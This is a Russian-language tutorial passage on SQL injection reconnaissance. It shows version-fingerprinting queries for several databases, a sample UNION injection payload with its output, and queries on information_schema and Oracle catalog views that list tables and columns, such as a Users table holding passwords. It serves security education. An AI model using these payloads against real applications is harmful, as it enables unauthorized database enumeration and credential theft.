SQL-инъекции: Исследование базы данных атаками
Запрос типа и версии базы данных
Различные базы данных предоставляют разные способы запроса своей версии. Вам часто приходится пробовать разные SQL-запросы, чтобы найти работающий, позволяющий определить как тип, таки версию программного обеспечения базы данных.
Запросы для определения версии базы данных некоторых популярных типов баз данных следующие:
Тип базы данных | SQL-запрос |
---|---|
Microsoft, MySQL | SELECT @@version |
Oracle | SELECT * FROM v$version |
PostgreSQL | SELECT version() |
Например, вы можете использовать UNION
атаку со следующими входными данными:
' UNION SELECT @@version--
Это может вернуть выходные данные, подобные приведённым ниже, подтверждающие, что базой данных является Microsoft SQl Server, и используемую версию:
Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)
Список содержимого базы данных
Большинство типов баз данных (за заметным исключением Oracle) имеют набор представлений, называемых информационной схемой предоставляющей информацию о базе данных.
Вы можете запросить information_schema.tables
, для получения списка таблиц базы данных:
SELECT * FROM information_schema.tables
Это вернёт данные, подобные следующим:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
=====================================================
MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLE
Эти данные указывают на наличие трёх таблиц с именами Products
, Users
, и Feedback
.
Затем вы можете запросить information_schema.columns
для получения списка полей в отдельных таблицах:
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
Это вернёт вывод подобный следующему:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE
=================================================================
MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varchar
Эти данные показывают столбцы в указанной таблице и тип каждого столбца.
Эквивалент информационной схемы в Oracle
В Oracle вы можете получить ту же информацию с помощью немного отличающихся запросов.
Список таблиц возвращает запрос all_tables
:
SELECT * FROM all_tables
А список столбцов можно получить запросив all_tab_columns
:
SELECT * FROM all_tab_columns WHERE table_name = 'USERS'